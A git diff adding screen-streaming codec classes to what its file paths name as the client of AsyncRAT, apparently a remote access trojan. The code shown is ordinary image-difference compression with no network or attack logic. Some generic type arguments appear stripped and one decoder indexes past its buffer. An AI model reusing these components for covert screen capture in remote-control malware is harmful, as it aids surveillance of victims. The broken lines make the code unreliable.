+ Blocks[index] = ScanBlock;
+ }
+ else
+ {
+ Blocks.Add(ScanBlock);
+ }
+ }
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
+ byte[] temp = base.jpgCompression.Compress(cloned);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
+ outStream.Write(temp, 0, temp.Length);
+ cloned.Dispose();
+ TotalDataLength += 6 + temp.Length;
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ bitmap.UnlockBits(bmpData);
+ CodeTempBitmap.UnlockBits(CodeBmpData);
+
+ if (onVideoStreamCoding != null)
+ onVideoStreamCoding(outStream, Blocks.ToArray());
+
+ if (CodeTempBitmap != null)
+ CodeTempBitmap.Dispose();
+ this.CodeTempBitmap = bitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ if (!inStream.CanRead)
+ throw new Exception("Must have access to Read in the Stream");
+
+ if (DecodeTempBitmap == null)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 4);
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return DecodeTempBitmap;
+ }
+
+
+ byte[] LenTemp = new byte[4];
+ inStream.Read(LenTemp, 0, 4);
+ int DataLength = BitConverter.ToInt32(LenTemp, 0);
+
+ //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
+ //int Stride = Math.Abs(BmpData.Stride);
+
+ while (DataLength > 0)
+ {
+ byte[] temp = new byte[6];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ int DataSize = BitConverter.ToInt32(temp, 0);
+ ushort Y = BitConverter.ToUInt16(temp, 4);
+ temp = new byte[DataSize];
+ if (inStream.Read(temp, 0, temp.Length) != temp.Length)
+ break;
+
+ //copy new data to cached bitmap
+ Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+
+ using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
+ {
+ g.DrawImage(tmpBmp, new Point(0, Y));
+ }
+
+ /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
+ int Offset = Y * Stride;
+ NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
+ //tmpBmp.UnlockBits(tmpData);
+ tmpBmp.Dispose();
+ DataLength -= 6 + temp.Length;
+ }
+ //DecodeTempBitmap.UnlockBits(BmpData);
+
+ return DecodeTempBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs
new file mode 100644
index 0000000..85155be
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs
@@ -0,0 +1,374 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class SmallCachedStreamCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ SortedList codeCached;
+ SortedList decodeCached;
+ public override int BufferCount
+ {
+ get { return codeCached.Count; }
+ }
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
+ }
+
+ private Size CheckBlock { get; set; }
+ public SimpleBitmap LastFrame { get; set; }
+ private object ImageProcessLock = new object();
+ private Bitmap decodedBitmap;
+ private CRC32 hasher;
+ public int MaxBuffers { get; private set; }
+
+ ///
+ /// Initialize a new object of SmallCachedStreamCodec
+ ///
+ /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance
+ /// The image quality 0-100%
+ public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ CheckBlock = new Size(20, 1);
+ codeCached = new SortedList();
+ decodeCached = new SortedList();
+ hasher = new CRC32();
+ this.MaxBuffers = MaxBuffers;
+ }
+
+ private void SetLastFrame(ref Bitmap bmp)
+ {
+ SetLastFrame(new SimpleBitmap(bmp));
+ }
+ private void SetLastFrame(SimpleBitmap bmp)
+ {
+ lock (ImageProcessLock)
+ {
+ if (LastFrame != null && LastFrame.Locked)
+ LastFrame.Dispose(true);
+ LastFrame = bmp;
+ }
+ }
+
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (LastFrame == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ SetLastFrame(ref bitmap);
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (!LastFrame.Locked)
+ LastFrame.Lock();
+
+ sbBmp.Lock();
+
+ if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
+ {
+ sbBmp.Unlock();
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ }
+
+ List Blocks = new List();
+ int index = 0;
+
+ int y = 0;
+ int x = 0;
+
+ Size s = new Size(bitmap.Width, CheckBlock.Height);
+ Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
+
+ int lasty = bitmap.Height - lastSize.Height;
+ int lastx = bitmap.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+
+ s = new Size(bitmap.Width, s.Height);
+ while (y != bitmap.Height)
+ {
+ if (y == lasty)
+ s = new Size(bitmap.Width, lastSize.Height);
+
+ cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ List finalUpdates = new List();
+ const int CheckHeight = 50;
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ y = Blocks[i].Y;
+ lasty = (Blocks[i].Y + Blocks[i].Height);
+
+ while (y != lasty)
+ {
+ int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
+ x = 0;
+ while (x != bitmap.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+ cBlock = new Rectangle(x, y, s.Width, ScanHeight);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
+ {
+ /*byte[] tempData = new byte[0];
+ LastFrame.CopyBlock(cBlock, ref tempData);
+ finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
+
+ //hash it and see if exists in cache
+ hasher = new CRC32(); //re-initialize for seed
+ byte[] tempData = new byte[0];
+ LastFrame.CopyBlock(cBlock, ref tempData);
+ int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
+
+ if (codeCached.Count >= MaxBuffers)
+ codeCached.RemoveAt(0);
+
+ if (codeCached.ContainsKey(hash))
+ {
+ CachedSize += (ulong)tempData.Length;
+ finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
+ }
+ else
+ {
+ //nothing found in cache let's use the normal way
+ codeCached.Add(hash, tempData);
+ finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
+ }
+ }
+ x += s.Width;
+ }
+ y += ScanHeight;
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ buffer = new byte[0];
+ Rectangle rect = finalUpdates[i].Rect;
+
+ if (!finalUpdates[i].isCached)
+ {
+ fixed (byte* ptr = finalUpdates[i].Data)
+ {
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+ }
+ }
+ }
+
+ outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 6) + 1;
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ Blocks.Clear();
+ SetLastFrame(sbBmp);
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+ List cacheInfo = new List();
+ byte[] HeaderData = new byte[(4 * 6) + 1];
+
+ while (DataSize > 0)
+ {
+ inStream.Read(HeaderData, 0, HeaderData.Length);
+
+ bool isCached = HeaderData[0] == 1;
+ rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
+ BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
+ int Hash = BitConverter.ToInt32(HeaderData, 17);
+ int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
+
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ //process update data
+ if (isCached)
+ {
+ //data is cached
+ if (decodeCached.ContainsKey(Hash))
+ buffer = decodeCached[Hash];
+ else
+ {
+
+ }
+ cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
+ }
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ if (buffer.Length > 0)
+ {
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+
+ tmp.Dispose();
+ m.Close();
+ m.Dispose();
+ }
+
+ if (decodeCached.Count >= MaxBuffers)
+ decodeCached.RemoveAt(0);
+
+ if(!decodeCached.ContainsKey(Hash))
+ this.decodeCached.Add(Hash, buffer);
+ DataSize -= UpdateLen + HeaderData.Length;
+ }
+
+ int CachedSize = 0;
+ foreach(CacheInfo inf in cacheInfo)
+ {
+ CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
+
+
+ }
+ Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ private class CacheInfo
+ {
+ public bool isCached = false;
+ public byte[] Data;
+ public int Hash;
+ public Rectangle Rect;
+
+ public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
+ {
+ this.Hash = Hash;
+ this.isCached = isCached;
+ this.Data = Data;
+ this.Rect = Rect;
+ }
+
+ /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
+ {
+ if (ScanRects.Count > 0)
+ {
+ int scanX = ScanRects[0].X;
+ for (int i = 0; i < ScanRects.Count; i++)
+ {
+ int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
+ Rectangle rect = ScanRects[i];
+ rect.Width = scanWidth;
+ rect.X = scanX;
+ byte[] buffer = new byte[0];
+ sBmp.CopyBlock(rect, ref buffer);
+
+ int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
+
+ if (!HashList.ContainsKey(hash))
+ HashList.Add(hash, rect);
+
+ //fixed (byte* ptr = buffer)
+ //{
+ // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
+ // {
+ // buffer = codec.lzwCompression.Compress(TmpBmp);
+ //
+ // }
+ //}
+
+ scanX += scanWidth;
+ }
+ }
+ }*/
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
new file mode 100644
index 0000000..0dea684
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs
@@ -0,0 +1,266 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.Codecs
+{
+ public class SmallStreamCodec : IVideoCodec
+ {
+ public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
+ public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; set; }
+ public SimpleBitmap LastFrame { get; set; }
+ private object ImageProcessLock = new object();
+ private Bitmap decodedBitmap;
+
+ ///
+ /// Initialize a new object of SmallStreamCodec
+ ///
+ /// The image quality 0-100%
+ public SmallStreamCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ CheckBlock = new Size(20, 1);
+ }
+
+ private void SetLastFrame(ref Bitmap bmp)
+ {
+ SetLastFrame(new SimpleBitmap(bmp));
+ }
+ private void SetLastFrame(SimpleBitmap bmp)
+ {
+ lock (ImageProcessLock)
+ {
+ if (LastFrame != null && LastFrame.Locked)
+ LastFrame.Dispose(true);
+ LastFrame = bmp;
+ }
+ }
+
+ ///
+ /// Encode the image
+ ///
+ /// The image you want to encode.
+ /// The output stream
+ public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ if (LastFrame == null)
+ {
+ byte[] temp = base.jpgCompression.Compress(bitmap);
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ SetLastFrame(ref bitmap);
+ return;
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (!LastFrame.Locked)
+ LastFrame.Lock();
+
+ sbBmp.Lock();
+
+ if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
+ {
+ sbBmp.Unlock();
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ }
+
+ List Blocks = new List();
+ int index = 0;
+
+ int y = 0;
+ int x = 0;
+
+ Size s = new Size(bitmap.Width, CheckBlock.Height);
+ Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
+
+ int lasty = bitmap.Height - lastSize.Height;
+ int lastx = bitmap.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+
+ s = new Size(bitmap.Width, s.Height);
+ while (y != bitmap.Height)
+ {
+ if (y == lasty)
+ s = new Size(bitmap.Width, lastSize.Height);
+
+ cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
+ {
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ List finalUpdates = new List();
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = 0;
+ while (x != bitmap.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ sbBmp.CopyBlock(rect, ref buffer);
+
+ fixed (byte* ptr = buffer)
+ {
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+ }
+ }
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 5);
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+
+ Blocks.Clear();
+ SetLastFrame(sbBmp);
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ ///
+ /// Decode the video stream
+ ///
+ /// The input stream
+ /// The image that has been decoded
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= buffer.Length + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs
new file mode 100644
index 0000000..ddbd18b
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Text;
+
+namespace StreamLibrary.Encoders.GridCoder
+{
+ internal class GridBlock
+ {
+ public Rectangle Rect { get; private set; }
+ public ulong Hash { get; private set; }
+ private GridEncoder encoder;
+
+ public GridBlock(Rectangle Rect, GridEncoder encoder)
+ {
+ this.encoder = encoder;
+ this.Rect = Rect;
+ CalculateHash();
+ }
+
+ public void CalculateHash()
+ {
+
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs
new file mode 100644
index 0000000..6cfcdfa
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs
@@ -0,0 +1,47 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.Encoders.GridCoder
+{
+ public class GridEncoder : IEncoder
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+
+
+
+ public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
+ {
+
+
+
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ return null;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ return null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
new file mode 100644
index 0000000..bc97633
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs
@@ -0,0 +1,24 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public enum CodecOption
+ {
+ ///
+ /// The Previous and next image size must be equal
+ ///
+ RequireSameSize,
+ ///
+ /// If the codec is having a stream buffer
+ ///
+ HasBuffers,
+ ///
+ /// The image will be disposed by the codec and shall not be disposed by the user
+ ///
+ AutoDispose,
+ /// No codec options were used
+ None
+ };
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
new file mode 100644
index 0000000..06331f9
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs
@@ -0,0 +1,46 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IEncoder
+ {
+ protected LzwCompression lzwCompression;
+ public abstract ulong CachedSize { get; internal set; }
+ protected object ImageProcessLock { get; private set; }
+
+ private int _imageQuality;
+ public int ImageQuality
+ {
+ get { return _imageQuality; }
+ set
+ {
+ _imageQuality = value;
+ lzwCompression = new LzwCompression(value);
+ }
+ }
+
+
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public IEncoder(int ImageQuality = 100)
+ {
+ this.ImageQuality = ImageQuality;
+ this.ImageProcessLock = new object();
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
+ public abstract unsafe Bitmap DecodeData(Stream inStream);
+ public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
+
+
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
new file mode 100644
index 0000000..83e703c
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs
@@ -0,0 +1,46 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IUnsafeCodec
+ {
+ protected JpgCompression jpgCompression;
+ protected LzwCompression lzwCompression;
+ public abstract ulong CachedSize { get; internal set; }
+ protected object ImageProcessLock { get; private set; }
+
+ private int _imageQuality;
+ public int ImageQuality
+ {
+ get { return _imageQuality; }
+ set
+ {
+ _imageQuality = value;
+ jpgCompression = new JpgCompression(value);
+ lzwCompression = new LzwCompression(value);
+ }
+ }
+
+
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public IUnsafeCodec(int ImageQuality = 100)
+ {
+ this.ImageQuality = ImageQuality;
+ this.ImageProcessLock = new object();
+ }
+
+ public abstract int BufferCount { get; }
+ public abstract CodecOption CodecOptions { get; }
+ public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
+ public abstract unsafe Bitmap DecodeData(Stream inStream);
+ public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
new file mode 100644
index 0000000..3430223
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs
@@ -0,0 +1,35 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary
+{
+ public abstract class IVideoCodec
+ {
+ public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
+ public delegate void VideoDecodeProgress(Bitmap bitmap);
+ public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
+
+ public abstract event VideoCodeProgress onVideoStreamCoding;
+ public abstract event VideoDecodeProgress onVideoStreamDecoding;
+ public abstract event VideoDebugScanningDelegate onCodeDebugScan;
+ public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
+ protected JpgCompression jpgCompression;
